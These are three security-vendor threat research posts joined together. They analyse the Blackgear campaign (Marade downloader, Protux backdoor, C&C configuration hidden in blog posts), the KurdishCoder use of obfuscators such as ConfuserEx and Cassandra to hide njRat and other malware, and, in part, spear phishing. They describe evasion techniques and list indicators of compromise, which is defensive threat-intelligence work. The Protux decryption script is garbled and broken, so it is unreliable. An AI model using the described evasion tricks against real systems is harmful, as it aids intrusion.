It targets organizations in Japan, South Korea, and Taiwan, leveling its attacks on public sector agencies and telecommunications and other high-technology industries.


In 2016, for instance, we found their campaigns attacking Japanese organizations with various malware tools, notably the Elirks backdoor.


Blackgear’s operators are well-organized, developing their own tools, which we observed to have been recently fine-tuned, based on their latest attacks.


A notable characteristic of Blackgear is the degree to which its attacks are taken to evade detection, abusing blogging, microblogging, and social media services to hide its command-and-control (C&C) configuration.


Compared to when C&C information is embedded within the malware, where it’s preset and can thus be easily blocked, this tactic lets Blackgear’s operators to quickly change C&C servers as needed.


It can, in turn, prolong the campaign’s foothold in the system and enable attackers to carry out further lateral movement.


Analyzing the Marade downloader (detected by Trend Micro as TSPY_MARADE.ZTBC) and the version of Protux (BKDR_PROTUX.ZTBC) employed by Blackgear’s latest campaigns, we found their encrypted configurations on blog and social media posts (see Figure 1).


This can be an indication that these malware tools were developed by the same group.


Figure 1. Marade’s encrypted configuration on a Facebook post Figure 2. Infection chain of Blackgear’s attack Attack chain


To paint a bigger picture of Blackgear’s attacks, we correlated the tools and tactics they used against their targets.


Here’s a summary of Blackgear’s latest campaign:  Use a decoy document or fake installer file, sent via spam email to lure a potential victim into clicking it.


The decoy document will extract the Marade downloader.


It drops itself in the machine’s Temp folder and increases its file size to over 50MB in order to bypass traditional sandbox solutions.


Marade will check if the infected host can connect to the internet and if it is installed with anti-virus (AV) software.


If the affected system can connect online and doesn’t have AV software, Marade will connect to a Blackgear-controlled public blog or social media post to retrieve an encrypted C&C configuration.


Otherwise, Marade will use the C&C information embedded in its code.


The encrypted strings will pose as a magnet link to keep its malicious traffic from being detected by AV software.


Marade will then decrypt the encrypted strings and retrieve the C&C server information.


The C&C server will send Protux to the victim’s host and execute it.


Protux, a known backdoor, is executed by abusing the rundll32 dynamic-link library (DLL).


It tests the host’s network, retrieves the C&C server from another blog, and uses the RSA algorithm to generate the session key and send information to the C&C server.  Blackgear’s malware tools are delivered to targets using RAR self-extracting executable (SFX) files or office Visual Basic Script (VBScript) to create a decoy document.


Below is a screenshot of the SFX files and document used by the latest campaigns: Figure 3.


Contents of malicious SFX file used by Blackgear, posing as a Flash Player installer  Figure 4. Malicious document used by Blackgear (top) and how VBScript is used to execute Marade (bottom)


Figure 5.


Encrypted configurations of Protux (top) and Marade (bottom) in the same blog post Correlating Marade and Protux


The encrypted configurations of Marade and Protux can both be found on a single blog post.


As shown in Figure 5, the strings highlighted in red function as a search tag to identify the location of the configuration information; those highlighted in orange pertain to the encrypted configuration that Protux will retrieve.


In Blackgear’s previous campaigns, Protux’s configuration format had to be changed to another version.


For instance, Protux’s older iteration will look for the “++a++” tag, as shown in Figure 5.


The format used by Protux’s latest version is now similar to Marade’s, as shown in Figure 6.


Figure 6.


Protux’s encrypted configuration on a public blog (note the six magnet URLs; the third is Protux’s latest configuration format)


Reverse analysis of Protux’s latest version also allowed us to determine how to decrypt the C&C information, which is done in the Python code shown below.


This can also be used by researchers, system administrators, and information security professionals when decrypting Protux’s latest version.


/usr


bin


env python2


#-*-coding:utf-8 -*- import os, sys, datetime, operator, base64 def decrypt():     if len(sys.argv) != 2:       print "Usegae : ./decrypt_protux_magnet.py <Full magnet strings>" sys.exit(0) str = sys.argv[1] head = str.find("magnet:?xt=urn:bhih:")


tail = str.find("&xl=")     if -1 ==tail: tail = str.find("&xl=")     if -1 == head or -1 == tail:       print("can't find delimiter") sys.exit()


b64_data = str[len("magnet:?xt=urn:bhih:"): tail] b64_decode = base64.b64decode(b64_data) key = ord(b64_decode[2]) data = b64_decode[4:] output_file = open("C2_info", "wb")     for single_byte in data: output_file.write(chr(ord(single_byte) ^ key)) output_file.close()


if __name__ == '__main__': decrypt (


A new remote controller tool


We were also able to source a sample of Protux’s remote controller tool.


This provides a user interface (UI) that allows attackers to send instructions to and monitor any compromised endpoint host.


This tool can also remotely control Marade in the affected system.


Figure 7.


The controller retrieving the Marade-related information (top) and collecting Protux-related information (bottom)


Based on the controller’s behavior, we can posit that both Marade and Protux were authored by the same threat actors.


Each serves a specific role once in the system.


Marade acts as the first stage of attack, sending the compromised system’s information to the C&C server and then awaiting commands from the controller.


This allows threat actors to monitor and check whether the affected system is of interest to them.


If so, the attack moves to the second stage by deploying Protux.


The tool can also control the communication between the backdoor and attacker in real time.


The following is a list of Protux’s notable components and their functions:  FileManage - Lists all of the system’s drives and folders.


ProcManage - Lists all of the processes, modules, threads, and ports in the compromised host.


ServiceManage - Lists all of the services in the compromised host.


RegManage - Lists all of the registries in the compromised host.


ScreenManage - Takes a screenshot.


ShellManage - Creates a shell.


Protux:


An old dog learning new tricks Protux is an old backdoor, with its first version developed in 2005.


It uses DLL injection to execute its routines.


Based on this behavior, we can map out a pattern, from the downloader to the decoy documents used.


The trigger format is: %system32/rundll32.exe <PROTUX file name> <export name>.


We saw two notable changes throughout Protux’s history: its export name and how it functions:


Export name Year How C&C information is retreieved TStartUp 2005 – 2012


Directly connect to the C&C server and use DNS server to retrieve the C&C IP address.


CRestart 2009 – 2014 Use web DNS query to retrieve the C&C IP address, e.g., ip138[.]com.


CReset 2013 – 2018


Find the encrypted configuration through keywords on blog services.


Our research into and correlation of Protux led us to several samples that have version numbers embedded in them.


The highlighted portions in Figure 8 show the backdoor’s version number and timestamp with the “with encrypt” strings.


We also found that these versions encrypt the communication to its C&C servers.


Protux’s latest version, 3.7, uses the open-source compiler OpenCSP to generate a session key with the RSA algorithm.


Figure 8.


Different versions of Protux used by Blackgear Figure 9.


Protux with the OpenCSP encryption function Building a proactive incident response strategy Blackgear has been targeting various industries since its emergence a decade ago.


Its apparent staying power stems from the furtive ways with which its attacks can evade traditional security solutions.


For instance, Blackgear employs two stages of infection for each of its attacks.


The potential victim may not be able to notice the intrusions as the first stage involves only profiling and reconnaissance.


And once infection with a backdoor occurs, typical red flags may not be raised as it abuses microblogging and social media services to retrieve information needed for C&C communication.


Indeed, Blackgear’s attacks exemplify the need for organizations to develop and implement security strategies that can proactively respond to threats.


A robust threat hunting strategy, for instance, helps validate indicators of attack to ascertain if the intrusions, threats, or suspicious system activities are one-off attacks or part of a larger campaign.


This further visibility equips organizations with actionable threat intelligence, context, and insights that can be used to delve deeper into an attack — which security gaps are exploited, if the attack has multiple payloads, or if the malware has already spread within the network.


Organizations can also consider managed detection and response, which provides in-depth threat analysis and correlation — from networks to servers and endpoints — to obtain a complete picture of and further understand a targeted attack.


Managed detection and response also helps make better sense of system- and network-level activities that an organization may not have the time or resources to do.


A list of indicators of compromise (IoCs) related to Blackgear is in this appendix.


Trend Micro solutions


The Trend Micro™ Deep Discovery™ solution provides detection, in-depth analysis, and proactive response to today’s stealthy malware and targeted attacks in real time.


It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack life cycle, allowing it to detect threats delivered by Blackgear even without any engine or pattern update.


Blackgear’s campaigns also use email as an entry point, which is why it’s important to secure the email gateway.


The Trend Micro™ Hosted Email Security no-maintenance cloud solution delivers continuously updated protection to stop spam, malware, spear phishing, and advanced targeted attacks before they reach the network.


The Trend Micro™ Deep Discovery™ Email Inspector and InterScan™ Web Security solutions prevent malware from ever reaching end users.


At the endpoint level, the Trend Micro™ Smart Protection Suites deliver several capabilities that minimize the impact of attacks.


Tags  Articles, News, Reports | APT & Targeted Attacks | Research


In November 2019, we published a blog analyzing an exploit kit we named Capesand that exploited Adobe Flash and Microsoft Internet Explorer flaws.


During our analysis of the indicators of compromise (IoCs) in the deployed samples that were infecting the victim’s machines, we noticed some interesting characteristics: notably that these samples were making use of obfuscation tools that made them virtually undetectable.


After some data collection we found more than 300 samples that correlate to the mentioned indicators that were recently very active  our first detections occurred in August, with the campaign itself still ongoing (having occasional spikes in between).


We saw a rising usage of tools that provide fully-undetectable obfuscation capabilities – signifying that the authors behind the samples designed their malware variants to be as stealthy as possible.


We decided to name the potential campaign associated with these IoCs as “KurdishCoder”, based on the property name of an assembly module found in one of the samples.


We took a look at one of the samples captured from Capesand that was used to deploy the njRat malware – notably its main executable NotepadEx.


We found that were multiple layers of obfuscation using a combination of two tools: the .NET protectors ConfuserEx and Cassandra (CyaX).


Both of these tools are used in combination to provide an array of fully undetectable capabilities to the deployed njRat malware variant.


Examining the Capesand samples The simplified diagram taken from the previous blog shows the combination of ConfuserEx and Cassandra via the second layer of obfuscation protection, which involves the DLL CyaX_Sharp Assembly (both CyaX_Sharp and CyaX are part of the Cassandra protector).


Figure 1.


The infection chain for Capesand that also shows the obfuscation mechanisms For this particular sample, CyaX_Sharp is obfuscated with a customized version of ConfuserEx.


The following image shows an assembly module property that was generated for this sample.


Figure 2.


The generated assembly module property


The module’s property name is “KurdishCoderProducts”, with a value shown to be “ConfuserEx v1.0.0-custom”.


To understand where this value is coming from, let’s take a look at the open-source ConfuserEx tool to see how the values are created.


From there, we can establish a hypothesis as to their source.


A closer look at ConfuserEx’s functions


While ConfuserEx is able to apply multiple transformations to the target binary, we are interested in two particular functions that we can use for correlation:  Source code building.


ConfuserEx is an open-source tool with multiple versions hosted on Github.


By examining one of the community-supported versions, we can see there is a tool to build ConfuserEx from the command line.


This build command line has a function to update the final binary versions based on the last Git-tagged version.


However, if ConfuserEx is built outside Git, the version update tool will just generate the value “version-custom” as shown below.


Figure 3.


Code taken from a ConfuserEx version created outside GIT


Since the string “ConfuserEx v1.0.0-custom” is present in the module property: [module: KurdishCoderProducts("ConfuserEx v1.0.0-custom")]”, we can surmise that the version of ConfuserEx that was used for CyaX_Sharp was indeed built outside of Git.


2. Watermarking


When ConfuserEx performs its obfuscation routine, one of the operations creates a watermark – a unique identifier within the software--that is present in the final binary.


The watermarking technique is implemented through the module attributes of the assembly.


The following source code screenshot shows how this is implemented.


Figure 4. Code showing how the watermarking is performed via the module attributes of the assembly


From the previous code section, we can see the default attribute added by ConfuserEx is “ConfusedBy”.


If we test it using a sample binary, the following is generated:  Figure 5. Testing a sample binary using ConfuserEx There are two important aspects to this attribute: first, it is hardcoded as a string constant and second, its value is presented in clear text in the final binary as the following image shows.


Figure 6.


The default attribute shown in clear text in the final binary We now have solid evidence that CyaX_Sharp was obfuscated using a modified version of ConfuserEx.


Next, let’s look for the attribute indicator, starting with the CyaX assembly used in the NotepadEx attack.


Cassandra Protector: CyaX


After inspection we noticed that this version of CyaX was similarly notable due to two characteristics.


First, the debug symbols paths were leaked -- suggesting a possible custom build which can be correlated with another modification applied to CyaX.  Figure 7.


The leaked debug symbols paths


The second indicator has to do with one of the methods of CyaX which was modified -- specifically the one injecting the binary in memory.


The following image shows the modified function name.


Figure 8.


The modified method which was renamed to Kirkuk, which is also a name of a city in Iraq What other payloads are using KurdishCoder?


Analysis of some of the captured samples reveals the different payloads being used (as shown in the table below).


Note that this does not cover all the samples – it is possible that other payloads are being deployed as well.


Sample Payload KurdishCoderMainSample KurdishCoder_CyaX_Sharp CyaX_method_rename CustomIncreaseX phoenix_keylogger Yes Yes Kirkuk NotePadEx Njrat No Yes Kirkuk QuickTranslation Agent Tesla Yes Yes Kurd SandiwchGenerator Agent Tesla Yes Yes Kirkuk SimpleGame Remcos Yes Yes Kirkuk AnimalGames Hawkeye Rebord Keylogger Yes Yes Kurd   Table 1.


The different samples organized name, payload delivered and the fully-undetectable stages where the attribute “KurdishCoderProduction” is present


Cassandra Crypter


We think one of the possible sources of the customized ConfuserEx is the online service Cassandra Crypter, which offers two kinds of subscription plans: The Premium Plan and the Private Stub.


The Premium Plan requires payment and works automatically, while the Private Stub requires the user to contact the support from the service for further personalization.


Figure 9.


Cassandra Crypter’s subscription plans


The combination of ConfuserEx and CyaX (Cassandra protector) seems to be unique and customized based on the indicators mentioned earlier.


While we don’t have definitive evidence that the use of these tools are part of a single campaign, we think the analyzed samples are related to a specific campaign.


Note that the KurdishCoder indicator was spotted also by the Italian Computer Emergency Response Team - Pubblica Amministrazione (CERT-PA), which they reported as a single incident.


As with Capesand, we will be monitoring the use of the tools mentioned in this blog entry for any future developments and updates.


Trend Micro Solutions


A proactive, multilayered approach to security is key against a wide range of threats— from the gateway, endpoints, networks, and servers.


Trend Micro™ endpoint security has vulnerability protection that shields endpoints from identified and unknown vulnerability exploits even before patches are even deployed.


Trend Micro’s endpoint solutions such as Trend Micro™ Smart Protection Suites and Worry-Free™ Business Security protect end users and businesses from these threats by detecting and blocking malicious files and all related malicious URLs.


Indicators of Compromise (IoCs)  Indicator Attribution Trend Micro Pattern Detection 068d32a43191dc0164b600b85a1621be0154504fd477167422ff4a8fb3406d73 AnimalGames Backdoor.


MSIL.BLADABINDI.QBR


CustomIncreaseX Backdoor.MSIL.BLADABINDI.QBR b00cc9a4292fc5cc4ae5371ea1615ec6e49ebaf061dc4eccde84a6f96d95747c NotePadEx Backdoor.MSIL.BLADABINDI.QBR 6755ce7a362ffecef805e4c54e1d5e201b6c6d561b997ebbd63a8d814ce6a53f QuickTranslation Backdoor.MSIL.BLADABINDI.QBR 8ff11efc1109073fdc49be93e1d100992314fd68ecdff2ba986107602ce75089 SandwichGenerator Backdoor.MSIL.BLADABINDI.QBR 02f2369b58fbb2ba1df2c799b73842880a4874c32c1514a0d8956133be026ade SimpleGame Backdoor.Win32.REMCOS.USMANEAGDZ


Tags  Mobile | APT & Targeted Attacks | Research


Spear Phishing is a specific attack technique that has become widely used in the past few years.


In our new research blog “FreeMilk: A Highly Targeted Spear Phishing Campaign”, our Unit 42 research team has discovered an attack campaign that takes spear phishing targeting to the next level by hijacking in-progress email conversations.


While these are not broad attacks, they represent an escalation in attacker spear phishing techniques in a way that makes it even more important than ever to have a prevention framework in place.


Standard phishing attacks are broad attacks that use general email messages to carry out the attacks.


Standard phishing attacks aren’t personalized: they use very common themes or lures in a generalized way in conjunction with a large enough pool of targets.


The idea is that by chance some percentage of the phishing emails will look legitimate enough to the recipient to be successful.


Basically, standard phishing attacks rely on the law of averages for its success.


As such, it’s a suitable tactic when an attacker cares less about who falls for it than how many fall for it.


A good example of a generalized phishing campaign is the Blank Slate Campaign we wrote about in March 2017.


This attack campaign was so generalized that the attackers didn’t even bother with any theme or lure: they simply sent blank messages with malicious attachments for the recipient to open.


Spear phishing is a more refined and focused version of phishing.


Instead of using generalized themes or lures, spear phishing uses themes or lures that are in some way relevant or appropriate for the target recipient.


For example, a spear phishing attack could use email messages about military exercises sent to military or government targets like we saw with our recent research into CMSTAR Trojan attacks.


Because the malicious email has a context for the target, he or she is more likely to trust it and open the email message and any attachments.


Spear phishing focuses on the quality of the theme and lure where standard phishing focuses on quantity.


Spear phishing is a suitable tactic when an attacker cares about who falls for it.


Where a phishing attack campaign may send malicious emails out to thousands or tens of thousands of targets, a spear phishing campaign my send out just one malicious email to one target.


Sometimes, when that target is a high-value target this attack can also be referred to as ‘Whaling”.  In our new research, our Unit 42 research team has found an attack that takes the refining of spear phishing one step further.